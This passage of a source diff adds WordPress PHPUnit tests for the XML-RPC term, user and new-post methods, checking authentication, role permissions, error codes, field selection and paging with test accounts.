+		$this->assertEquals( (array) $taxonomy->labels, $result['labels'], 'labels' );
+		$this->assertEquals( (array) $taxonomy->cap, $result['cap'], 'capabilities' );
+		$this->assertEquals( (array) $taxonomy->object_type, $result['object_type'], 'object_types' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTerm.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTerm.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTerm.php	(revision 33402)
@@ -0,0 +1,98 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getTerm extends WP_XMLRPC_UnitTestCase {
+	var $term;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->term = wp_insert_term( 'term' . rand_str() , 'category' );
+		$this->assertInternalType( 'array', $this->term );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'username', 'password', 'category', 1 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_empty_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', '', 0 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_invalid_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', 'not_existing', 0 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'subscriber', 'subscriber', 'category', $this->term['term_id'] ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+		$this->assertEquals( __( 'You are not allowed to assign terms in this taxonomy.' ), $result->message );
+	}
+
+
+	function test_empty_term() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', 'category', '' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+		$this->assertEquals( __('Empty Term'), $result->message );
+	}
+
+	function test_invalid_term() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', 'category', 9999 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+		$this->assertEquals( __('Invalid term ID'), $result->message );
+	}
+
+	function test_valid_term() {
+		$this->make_user_by_role( 'editor' );
+
+		$term = get_term( $this->term['term_id'], 'category', ARRAY_A );
+
+		$result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', 'category', $this->term['term_id'] ) );
+
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $result, $term );
+
+		// Check DataTypes
+		$this->assertInternalType( 'string', $result['name'] );
+		$this->assertInternalType( 'string', $result['slug'] );
+		$this->assertInternalType( 'string', $result['taxonomy'] );
+		$this->assertInternalType( 'string', $result['description'] );
+		$this->assertInternalType( 'int', $result['count'] );
+
+		// We expect all ID's to be strings not integers so we don't return something larger than an XMLRPC integer can describe.
+		$this->assertStringMatchesFormat( '%d', $result['term_id'] );
+		$this->assertStringMatchesFormat( '%d', $result['term_group'] );
+		$this->assertStringMatchesFormat( '%d', $result['term_taxonomy_id'] );
+		$this->assertStringMatchesFormat( '%d', $result['parent'] );
+
+		// Check Data
+		$this->assertEquals( 0, $result['count'] );
+		$this->assertEquals( $term['name'], $result['name'] );
+		$this->assertEquals( $term['slug'], $result['slug'] );
+		$this->assertEquals( 'category', $result['taxonomy'] );
+		$this->assertEquals( $term['description'], $result['description'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTerms.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTerms.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTerms.php	(revision 33402)
@@ -0,0 +1,149 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getTerms extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getTerms( array( 1, 'username', 'password', 'category' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_empty_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', '' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_invalid_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'not_existing' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getTerms( array( 1, 'subscriber', 'subscriber', 'category' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+		$this->assertEquals( __( 'You are not allowed to assign terms in this taxonomy.' ), $result->message );
+	}
+
+	function test_valid_terms() {
+		$this->make_user_by_role( 'editor' );
+
+		// make sure there's at least one category
+		$cat = wp_insert_term( 'term' . rand_str() , 'category' );
+
+		$results = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'category' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		foreach( $results as $term ) {
+			$this->assertInternalType( 'int', $term['count'] );
+
+			// We expect all other IDs to be strings not integers so we don't return something larger than an XMLRPC integer can describe.
+			$this->assertStringMatchesFormat( '%d', $term['term_id'] );
+			$this->assertStringMatchesFormat( '%d', $term['term_group'] );
+			$this->assertStringMatchesFormat( '%d', $term['term_taxonomy_id'] );
+			$this->assertStringMatchesFormat( '%d', $term['parent'] );
+		}
+	}
+
+	function test_custom_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		// create a taxonomy and some terms for it
+		$tax_name = 'wp_getTerms_custom_taxonomy';
+		$num_terms = 12;
+		register_taxonomy( $tax_name, 'post' );
+		for( $i = 0; $i < $num_terms; $i++ )
+			wp_insert_term( rand_str( 10 ), $tax_name );
+
+
+		// test fetching all terms
+		$results = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', $tax_name ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		$this->assertEquals( $num_terms, count( $results ) );
+		foreach ( $results as $term ) {
+			$this->assertEquals( $tax_name, $term['taxonomy'] );
+		}
+
+		// test paged results
+		$filter = array( 'number' => 5 );
+		$results2 = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', $tax_name, $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+		$this->assertEquals( 5, count( $results2 ) );
+		$this->assertEquals( $results[1]['term_id'], $results2[1]['term_id'] ); // check one of the terms
+
+		$filter['offset'] = 10;
+		$results3 = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', $tax_name, $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results3 );
+		$this->assertEquals( $num_terms - 10, count( $results3 ) );
+		$this->assertEquals( $results[11]['term_id'], $results3[1]['term_id'] );
+
+		// test hide_empty (since none have been attached to posts yet, all should be hidden
+		$filter = array( 'hide_empty' => true );
+		$results4 = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', $tax_name, $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results4 );
+		$this->assertEquals( 0, count( $results4 ) );
+
+		unset($GLOBALS['wp_taxonomies'][$tax_name]);
+	}
+
+	function test_term_ordering() {
+		$this->make_user_by_role( 'editor' );
+
+		$cat1 = wp_create_category( 'wp.getTerms_' . rand_str( 16 ) );
+		$cat2 = wp_create_category( 'wp.getTerms_' . rand_str( 16 ) );
+
+		$this->factory->post->create_many( 5, array( 'post_category' => array( $cat1 ) ) );
+		$this->factory->post->create_many( 3, array( 'post_category' => array( $cat2 ) ) );
+
+		$filter = array( 'orderby' => 'count', 'order' => 'DESC' );
+		$results = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'category', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+		$this->assertNotEquals( 0, count( $results ) );
+
+		foreach( $results as $term ) {
+			if ( $term['term_id'] == $cat1 ) {
+				break;  // found cat1 first as expected
+			}
+			else if ( $term['term_id'] == $cat2 ) {
+				$this->assertFalse( false, 'Incorrect category ordering.' );
+			}
+		}
+	}
+
+	function test_terms_search() {
+		$this->make_user_by_role( 'editor' );
+
+		$name = rand_str( 30 );
+		$name_id = wp_create_category( $name );
+
+		// search by full name
+		$filter = array( 'search' => $name );
+		$results = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'category', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+		$this->assertEquals( 1, count( $results ) );
+		$this->assertEquals( $name, $results[0]['name'] );
+		$this->assertEquals( $name_id, $results[0]['term_id'] );
+
+		// search by partial name
+		$filter = array( 'search' => substr( $name, 0, 10 ) );
+		$results2 = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'category', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results2 );
+		$this->assertEquals( 1, count( $results2 ) );
+		$this->assertEquals( $name, $results2[0]['name'] );
+		$this->assertEquals( $name_id, $results2[0]['term_id'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getUser.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getUser.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getUser.php	(revision 33402)
@@ -0,0 +1,150 @@
+<?php
+
+/**
+ * @group xmlrpc
+ * @group user
+ */
+class Tests_XMLRPC_wp_getUser extends WP_XMLRPC_UnitTestCase {
+	protected $administrator_id;
+
+	function setUp() {
+		parent::setUp();
+
+		// create a super-admin
+		$this->administrator_id = $this->make_user_by_role( 'administrator' );
+		if ( is_multisite() )
+			grant_super_admin( $this->administrator_id );
+	}
+
+	function tearDown() {
+		if ( is_multisite() )
+			revoke_super_admin( $this->administrator_id );
+
+		parent::tearDown();
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getUser( array( 1, 'username', 'password', 1 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_invalid_user() {
+		$result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', 34902348908234 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getUser( array( 1, 'subscriber', 'subscriber', $editor_id ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_subscriber_self() {
+		$subscriber_id = $this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getUser( array( 1, 'subscriber', 'subscriber', $subscriber_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $subscriber_id, $result['user_id'] );
+	}
+
+	function test_valid_user() {
+		$registered_date = strtotime( '-1 day' );
+		$user_data = array(
+			'user_login' => 'getusertestuser',
+			'user_pass' => rand_str(),
+			'first_name' => rand_str(),
+			'last_name' => rand_str(),
+			'description' => rand_str( 100 ),
+			'user_email' => 'getUserTestUser@example.com',
+			'nickname' => rand_str(),
+			'user_nicename' => rand_str(),
+			'display_name' => rand_str(),
+			'user_url' => 'http://www.example.com/testuser',
+			'role' => 'author',
+			'aim' => rand_str(),
+			'user_registered' => strftime( "%Y-%m-%d %H:%M:%S", $registered_date )
+		);
+		$user_id = wp_insert_user( $user_data );
+
+		$result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', $user_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// check data types
+		$this->assertInternalType( 'string', $result['user_id'] );
+		$this->assertStringMatchesFormat( '%d', $result['user_id'] );
+		$this->assertInternalType( 'string', $result['username'] );
+		$this->assertInternalType( 'string', $result['first_name'] );
+		$this->assertInternalType( 'string', $result['last_name'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['registered'] );
+		$this->assertInternalType( 'string', $result['bio'] );
+		$this->assertInternalType( 'string', $result['email'] );
+		$this->assertInternalType( 'string', $result['nickname'] );
+		$this->assertInternalType( 'string', $result['nicename'] );
+		$this->assertInternalType( 'string', $result['url'] );
+		$this->assertInternalType( 'string', $result['display_name'] );
+		$this->assertInternalType( 'array', $result['roles'] );
+
+		// check expected values
+		$this->assertEquals( $user_id, $result['user_id'] );
+		$this->assertEquals( $user_data['user_login'], $result['username'] );
+		$this->assertEquals( $user_data['first_name'], $result['first_name'] );
+		$this->assertEquals( $user_data['last_name'], $result['last_name'] );
+		$this->assertEquals( $registered_date, $result['registered']->getTimestamp() );
+		$this->assertEquals( $user_data['description'], $result['bio'] );
+		$this->assertEquals( $user_data['user_email'], $result['email'] );
+		$this->assertEquals( $user_data['nickname'], $result['nickname'] );
+		$this->assertEquals( $user_data['user_nicename'], $result['nicename'] );
+		$this->assertEquals( $user_data['user_url'], $result['url'] );
+		$this->assertEquals( $user_data['display_name'], $result['display_name'] );
+		$this->assertEquals( $user_data['user_login'], $result['username'] );
+		$this->assertContains( $user_data['role'], $result['roles'] );
+
+		wp_delete_user( $user_id );
+	}
+
+	function test_no_fields() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', $editor_id, array() ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $editor_id, $result['user_id'] );
+
+		$expected_fields = array( 'user_id' );
+		$this->assertEquals( $expected_fields, array_keys( $result ) );
+	}
+
+	function test_basic_fields() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', $editor_id, array( 'basic' ) ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $editor_id, $result['user_id'] );
+
+		$expected_fields = array( 'user_id', 'username', 'email', 'registered', 'display_name', 'nicename' );
+		$keys = array_keys( $result );
+		sort( $expected_fields );
+		sort( $keys );
+		$this->assertEqualSets( $expected_fields, $keys );
+	}
+
+	function test_arbitrary_fields() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$fields = array( 'email', 'bio', 'user_contacts' );
+
+		$result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', $editor_id, $fields ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $editor_id, $result['user_id'] );
+
+		$expected_fields = array( 'user_id', 'email', 'bio' );
+		$keys = array_keys( $result );
+		sort( $expected_fields );
+		sort( $keys );
+		$this->assertEqualSets( $expected_fields, $keys );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getUsers.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getUsers.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getUsers.php	(revision 33402)
@@ -0,0 +1,115 @@
+<?php
+
+/**
+ * @group xmlrpc
+ * @group user
+ */
+class Tests_XMLRPC_wp_getUsers extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $results );
+		$this->assertEquals( 403, $results->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'subscriber', 'subscriber' ) );
+		$this->assertInstanceOf( 'IXR_Error', $results );
+		$this->assertEquals( 401, $results->code );
+	}
+
+	function test_capable_user() {
+		$this->make_user_by_role( 'administrator' );
+
+		$result = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// check data types
+		$this->assertInternalType( 'string', $result[0]['user_id'] );
+		$this->assertStringMatchesFormat( '%d', $result[0]['user_id'] );
+		$this->assertInternalType( 'string', $result[0]['username'] );
+		$this->assertInternalType( 'string', $result[0]['first_name'] );
+		$this->assertInternalType( 'string', $result[0]['last_name'] );
+		$this->assertInstanceOf( 'IXR_Date', $result[0]['registered'] );
+		$this->assertInternalType( 'string', $result[0]['bio'] );
+		$this->assertInternalType( 'string', $result[0]['email'] );
+		$this->assertInternalType( 'string', $result[0]['nickname'] );
+		$this->assertInternalType( 'string', $result[0]['nicename'] );
+		$this->assertInternalType( 'string', $result[0]['url'] );
+		$this->assertInternalType( 'string', $result[0]['display_name'] );
+		$this->assertInternalType( 'array', $result[0]['roles'] );
+	}
+
+	function test_invalid_role() {
+		$administrator_id = $this->make_user_by_role( 'administrator' );
+		if ( is_multisite() )
+			grant_super_admin( $administrator_id );
+
+		$filter = array( 'role' => rand_str() );
+		$results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter ) );
+		$this->assertInstanceOf( 'IXR_Error', $results );
+		$this->assertEquals( 403, $results->code );
+	}
+
+	function test_role_filter() {
+		$author_id = $this->make_user_by_role( 'author' );
+		$editor_id = $this->make_user_by_role( 'editor' );
+		$administrator_id = $this->make_user_by_role( 'administrator' );
+		if ( is_multisite() )
+			grant_super_admin( $administrator_id );
+
+		// test a single role ('editor')
+		$filter = array( 'role' => 'editor' );
+		$results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+		$this->assertCount( 1, $results );
+		$this->assertEquals( $editor_id, $results[0]['user_id'] );
+
+		// test 'authors', which should return all non-subscribers
+		$filter2 = array( 'who' => 'authors' );
+		$results2 = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results2 );
+		$this->assertCount( 3, array_intersect( array( $author_id, $editor_id, $administrator_id ), wp_list_pluck( $results2, 'user_id' ) ) );
+	}
+
+	function test_paging_filters() {
+		$administrator_id = $this->make_user_by_role( 'administrator' );
+		if ( is_multisite() )
+			grant_super_admin( $administrator_id );
+
+		$this->factory->user->create_many( 13 );
+
+		$user_ids = get_users( array( 'fields' => 'ID' ) );
+
+		$users_found = array();
+		$page_size = floor( count( $user_ids ) / 3 );
+
+		$filter = array( 'number' => $page_size, 'offset' => 0 );
+		do {
+			$presults = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter ) );
+			foreach ( $presults as $user ) {
+				$users_found[] = $user['user_id'];
+			}
+			$filter['offset'] += $page_size;
+		} while ( count( $presults ) > 0 );
+
+		// verify that $user_ids matches $users_found
+		$this->assertEquals( 0, count( array_diff( $user_ids, $users_found ) ) );
+	}
+
+	function test_order_filters() {
+		$this->make_user_by_role( 'administrator' );
+
+		$filter = array( 'orderby' => 'email', 'order' => 'ASC' );
+		$results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		$last_email = '';
+		foreach ( $results as $user ) {
+			$this->assertLessThanOrEqual( 0, strcmp( $last_email, $user['email'] ) );
+			$last_email = $user['email'];
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/newPost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/newPost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/newPost.php	(revision 33402)
@@ -0,0 +1,386 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_newPost extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'username', 'password', array() ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'subscriber', 'subscriber', array() ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_no_content() {
+		$this->make_user_by_role( 'author' );
+
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', array() ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+		$this->assertEquals( 'Content, title, and excerpt are empty.', $result->message );
+	}
+
+	function test_basic_content() {
+		$this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Test' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+	}
+
+	function test_ignore_id() {
+		$this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Test', 'ID' => 103948 );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertNotEquals( '103948', $result );
+	}
+
+	function test_capable_publish() {
+		$this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Test', 'post_status' => 'publish' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_incapable_publish() {
+		$this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Test', 'post_status' => 'publish' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'contributor', 'contributor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_private() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Test', 'post_status' => 'private' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_incapable_private() {
+		$this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Test', 'post_status' => 'private' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'contributor', 'contributor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_other_author() {
+		$other_author_id = $this->make_user_by_role( 'author' );
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Test', 'post_author' => $other_author_id );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_incapable_other_author() {
+		$other_author_id = $this->make_user_by_role( 'author' );
+		$this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Test', 'post_author' => $other_author_id );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'contributor', 'contributor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_invalid_author() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Test', 'post_author' => 99999999 );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+	}
+
+	function test_empty_author() {
+		$my_author_id = $this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Test' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+
+		$out = get_post( $result );
+		$this->assertEquals( $my_author_id, $out->post_author );
+		$this->assertEquals( 'Test', $out->post_title );
+	}
+
+	function test_post_thumbnail() {
+		add_theme_support( 'post-thumbnails' );
+
+		$this->make_user_by_role( 'author' );
+
+		// create attachment
+		$filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+		$contents = file_get_contents( $filename );
+		$upload = wp_upload_bits( $filename, null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$attachment = array(
+			'post_title' => 'Post Thumbnail',
+			'post_type' => 'attachment',
+			'post_mime_type' => 'image/jpeg',
+			'guid' => $upload['url']
+		);
+		$attachment_id = wp_insert_attachment( $attachment, $upload['file'] );
+
+		$post = array( 'post_title' => 'Post Thumbnail Test', 'post_thumbnail' => $attachment_id );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $attachment_id, get_post_meta( $result, '_thumbnail_id', true ) );
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_invalid_post_status() {
+		$this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Test', 'post_status' => 'foobar_status' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 'draft', get_post_status( $result ) );
+	}
+
+	function test_incapable_sticky() {
+		$this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Test', 'sticky' => true );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'contributor', 'contributor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_sticky() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Test', 'sticky' => true );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue( is_sticky( $result ) );
+	}
+
+	function test_private_sticky() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Test', 'post_status' => 'private', 'sticky' => true );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_post_format() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Test', 'post_format' => 'quote' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 'quote', get_post_format( $result ) );
+	}
+
+	function test_invalid_post_format() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Test', 'post_format' => 'tumblr' );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( '', get_post_format( $result ) );
+	}
+
+	function test_invalid_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array(
+			'post_title' => 'Test',
+			'terms' => array(
+				'foobar_nonexistant' => array( 1 )
+			)
+		);
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+
+		$post2 = array(
+			'post_title' => 'Test',
+			'terms_names' => array(
+				'foobar_nonexistant' => array( 1 )
+			)
+		);
+		$result2 = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post2 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result2 );
+		$this->assertEquals( 401, $result2->code );
+	}
+
+	function test_invalid_term_id() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array(
+			'post_title' => 'Test',
+			'terms' => array(
+				'post_tag' => array( 1390490823409 )
+			)
+		);
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_terms() {
+		$this->make_user_by_role( 'editor' );
+
+		$tag1 = wp_create_tag ( rand_str( 30 ) );
+		$this->assertInternalType( 'array', $tag1 );
+		$tag2 = wp_create_tag ( rand_str( 30 ) );
+		$this->assertInternalType( 'array', $tag2 );
+		$tag3 = wp_create_tag ( rand_str( 30 ) );
+		$this->assertInternalType( 'array', $tag3 );
+
+		$post = array(
